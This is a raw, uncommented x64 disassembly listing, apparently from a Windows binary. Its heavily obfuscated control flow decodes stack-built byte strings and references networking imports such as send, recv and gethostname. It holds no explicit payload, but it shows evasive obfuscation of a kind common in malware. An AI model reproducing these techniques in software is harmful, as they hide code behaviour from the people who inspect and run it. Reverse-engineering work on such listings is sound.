jbe 0x1400851e0
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140084f86
cmp rbx, r9
jne 0x14008512e
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x6c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084c83
lea rcx, [r8 + 3]
cmp rbx, rcx
jne 0x14008515a
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r11b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140085381
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140085186
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14008533e
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400851b4
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x64
dec r10
inc r10
jmp 0x140084c83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400850c2
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3c
movzx r9d, r10b
jmp 0x140085448
cmp rbx, r9
jne 0x140085208
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4a
movzx r9d, r10b
jmp 0x140085448
cmp rbx, rcx
jne 0x140085232
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x22
dec r10
inc r10
jmp 0x140084c83
cmp rbx, rax
jne 0x14008525a
lea edx, [r10 - 0x4a]
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x1400854af
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140084f86
lea ecx, [r10 - 0x16]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x66
jmp 0x1400854b2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400852c1
lea edx, [r10 - 0x78]
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r10 + 0x6c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084c83
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400852f0
lea ecx, [r10 - 0x40]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x40
dec r10
inc r10
jmp 0x140084c83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140084fb7
lea edx, [r10 - 0xc]
movzx eax, r11b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140084c83
lea edx, [r10 - 0x70]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
add dil, dl
lea ecx, [r10 + 0x2a]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x26
add r11b, dil
add r11b, cl
mov byte [rbp + r10 + 0x6c0], r11b
jmp 0x1400854af
lea edx, [r10 - 0x3c]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, r11b
sub dil, 0x5c
add dil, dl
lea edx, [r10 + 0x5e]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x6c0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x1400854e3
lea ecx, [r10 + 0x76]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x3a
movzx eax, byte [rbp + r10 + 0x6c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084c83
lea edx, [r10 + 0x3e]
movzx eax, r11b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
dec r10
inc r10
jmp 0x140084c83
lea ecx, [r10 + 0xa]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x46
inc r8
dec r10
inc r10
jmp 0x140084c83
movzx r9d, r10b
lea edx, [r9 - 0x2a]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
sub r9b, 0xa
movzx eax, r11b
and al, r9b
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x6c0], cl
inc r8
dec r10
inc r10
jmp 0x140084c83
lea ecx, [r10 + 6]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2a
dec r10
inc r10
jmp 0x140084c83
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x52
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140084c83
lea rcx, [r10 + r12]
and sil, cl
add sil, sil
movzx edi, r11b
sub dil, sil
sub dil, 0xe
add dil, cl
lea edx, [r10 - 8]
movzx eax, r11b
and al, dl
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + r10 + 0x6c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x6c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084c83
lea rcx, [r10 + r15]
and sil, cl
mov eax, 0x2f
sub al, sil
lea edi, [rax + rax]
add dil, r11b
add dil, cl
movzx eax, byte [rbp + r10 + 0x6c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084c83
sub r9b, 0x32
movzx eax, r11b
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
jmp 0x140084c70
lea rcx, [rbp + 0x1720a38]
jmp 0x140085598
lea rcx, [rbp + 0x12cbfd2]
jmp 0x140085598
lea rcx, [rbp + 0x6c0]
lea rdx, [0x1401feb8e]
call fcn.140039a40
mov byte [rbp + 0x3e0], 0x75
mov byte [rbp + 0x3e1], 0x2f
mov byte [rbp + 0x3e2], 0x53
mov byte [rbp + 0x3e3], 0x51
mov byte [rbp + 0x3e4], 0x28
mov byte [rbp + 0x3e5], 0x50
mov byte [rbp + 0x3e6], __WSAFDIsSet
mov byte [rbp + 0x3e7], 0x44
mov byte [rbp + 0x3e8], gethostname
mov byte [rbp + 0x3e9], 0x4c
mov byte [rbp + 0x3ea], gethostname
mov byte [rbp + 0x3eb], 0x4e
mov byte [rbp + 0x3ec], gethostname
mov byte [rbp + 0x3ed], 0x32
mov byte [rbp + 0x3ee], 0x30
mov byte [rbp + 0x3ef], 0xaf
xor eax, eax
mov qword [rbp + 0x3f0], rax
mov dword [rbp + 0x3f8], eax
mov word [rbp + 0x3fc], ax
mov byte [rbp + 0x3fe], al
movabs r14, 0x6d7ef33712b336e8
movabs r15, 0xd9768cefa84cee28
movabs r13, 0xfe78a68182e68058
movabs r12, 0x487cd9a53819a4b8
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1f
jae 0x140086268
movzx r10d, byte [rbp + r11 + 0x3e0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14008625c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400856c3
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x58
jmp 0x1400856f0
je 0x1400861e7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140086158
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008612a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400860e6
movzx r9d, r11b
cmp r8, r11
ja 0x140086250
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140085725
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140085773
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008609f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008607c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008605d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140086040
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140086025
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140085ff6
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140085cc8
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140085cba
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140085c94
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140085c71
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140085c52
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140085c2f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140085c12
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140085bf3
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140085bd3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140085ba4
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140085780
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x10]
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140086233
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140086213
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140085971
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140085956
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140085937
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140085b55
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140085b10
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140085ad2
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140085aa7
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140085780
lea rbx, [r8 + 2]
lea r8, [rbx + 2]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140085a78
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140085a58
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140085a39
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140085a1c
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140085a04
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400859e5
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400859c2
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008599c
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14008598e
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140085780
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x400]
jmp 0x140085780
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140085773
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x1400856f4
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
jmp 0x140085690
lea edx, [r9 + 0x40]
mov ecx, 0x20
jmp 0x1400860a8
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
inc r8
dec r11
inc r11
jmp 0x140085673
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
dec r11
inc r11
jmp 0x140085673
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140086100
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add rbx, r8
jmp 0x14008613f
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x14008613f
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140086174
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400861a2
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x3e0]
add rax, r8
add r11, rax
inc r11
jmp 0x140085673
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x3e0], dil
inc r11
jmp 0x140085673
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 4
jb 0x140085ac2
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x20]
jmp 0x1400860b9
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
cmp rbx, 0x28
jae 0x140085fc2
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x140085ed9
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140085aec
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x140085fe0
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140085dd3
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140085b26
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0x3e0]
add rax, r8
add r11, rax
inc r11
jmp 0x140085673
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400861a2
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140086174
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14008613f
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14008613f
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140086100
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
dec r11
inc r11
jmp 0x140085673
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x140085673
lea edx, [r9 - 0x50]
mov ecx, 0x18
jmp 0x1400860a8
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x140085cf3
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140085b6b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140085d2f
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
movzx eax, byte [rbp + r11 + 0x3e0]
add rax, r8
add r11, rax
inc r11
jmp 0x140085673
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140085d59
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x1400861a2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140085d85
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140086174
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140085db8
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140085673
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140085b6b
lea edx, [r9 - 0x70]
mov ecx, 8
jmp 0x1400860a8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140085dee
lea edx, [r9 + 0x18]
mov ecx, 0x2c
jmp 0x1400860a8
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140085e1e
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
dec r11
inc r11
jmp 0x140085673
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140085e4a
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140086100
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140085e77
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
add rbx, r8
jmp 0x14008613f
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140085e9d
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x14008613b
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140085b26
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x3e0]
add rax, r8
add r11, rax
inc r11
jmp 0x140085673
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140085f18
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x3e0]
add rax, r8
add r11, rax
inc r11
jmp 0x140085673
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140085f40
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x140086174
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140085f68
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x140086100
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140085f90
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec r11
inc r11
jmp 0x140085673
cmp rbx, rcx
jne 0x140085aec
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140085673
lea edx, [r9 + 0x40]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140086100
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x70]
jmp 0x140086174
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
movzx eax, byte [rbp + r11 + 0x3e0]
add rax, r8
add r11, rax
inc r11
jmp 0x140085673
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140086174
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x14008613f
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140086100
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
dec r11
inc r11
jmp 0x140085673
lea edx, [r9 - 0x28]
mov ecx, ntohs
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x58
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x68
add r10b, r9b
mov byte [rbp + r11 + 0x3e0], r10b
inc r8
dec r11
inc r11
jmp 0x140085673
movzx r9d, r11b
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
add r9b, 0x28
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x3e0], r10b
add rbx, r8
jmp 0x14008613f
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x18
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140085673
lea rcx, [r11 + r13]
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x68
add dil, cl
movzx r9d, r11b
sub r9b, 8
movzx eax, r10b
and al, r9b
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x3e0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x20
add r10b, cl
mov byte [rbp + r11 + 0x3e0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x3e0]
add rax, r8
add r11, rax
inc r11
jmp 0x140085673
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 8
movzx eax, byte [rbp + r11 + 0x3e0]
add rax, r8
add r11, rax
inc r11
jmp 0x140085673
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140085670
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x140085660
lea rcx, [rbp + 0x168e7c0]
jmp 0x14008626f
lea rcx, [rbp + 0x15c1ea8]
jmp 0x14008626f
lea rcx, [rbp + 0x3e0]
lea rdx, [0x1401fcb0c]
call fcn.140039a40
mov byte [rbp + 0x6f0], __WSAFDIsSet
mov byte [rbp + 0x6f1], 0x7f
mov byte [rbp + 0x6f2], WSASetLastError
mov byte [rbp + 0x6f3], 0x75
mov byte [rbp + 0x6f4], 0x7c
mov byte [rbp + 0x6f5], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x6f6], 0xa6
mov byte [rbp + 0x6f7], 0x9f
mov byte [rbp + 0x6f8], 0x79
mov byte [rbp + 0x6f9], 0x64
mov byte [rbp + 0x6fa], 0x7e
mov byte [rbp + 0x6fb], 0xa3
mov byte [rbp + 0x6fc], 0x9f
mov byte [rbp + 0x6fd], 0x78
mov byte [rbp + 0x6fe], 0x50
mov byte [rbp + 0x6ff], 0x60
mov byte [rbp + 0x700], 0x68
mov byte [rbp + 0x701], 0x60
mov byte [rbp + 0x702], 0xda
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x703], xmm0
mov qword [rbp + 0x713], rax
mov dword [rbp + 0x71b], eax
movabs r14, 0x8a50981d532546e2
movabs r12, 0xc83428cd4604f02e
movabs r15, 0x9ef1c857f96fd4a6
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2f
jae 0x140086e68
movzx r9d, byte [rbp + r11 + 0x6f0]
mov esi, r9d
nop dword [rax]
cmp rbx, r11
ja 0x140086e5c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400863a3
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x2e
jmp 0x1400863dd
je 0x140086de1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140086d56
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140086d20
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140086cd8
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140086cb3
movzx r10d, r11b
cmp r8, r11
ja 0x140086e50
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140086419
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086450
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140086c69
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140086c43
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140086c23
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140086c03
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400869c8
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400869ac
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140086986
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140086963
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140086947
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008692a
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008690a
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400868eb
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400868cb
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140086899
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140086460
lea rbx, [r8 + 0x200]
lea r8, [rbx + 8]
lea rcx, [r8 + 6]
cmp rbx, rcx
jb 0x140086e30
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140086e10
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140086653
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140086634
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140086615
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140086850
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140086806
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400867c6
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14008679e
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140086460
mov rbx, rcx
lea r8, [rcx + 5]
lea rcx, [r8 + 0x1000]
cmp rbx, rcx
ja 0x14008676f
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14008674f
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140086730
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140086713
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400866f3
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400866d7
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400866b4
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14008668b
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140086670
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140086460
mov rbx, rcx
lea r8, [rcx + 0x400]
jmp 0x140086460
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086450
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400863e1
add r10b, 0x2e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
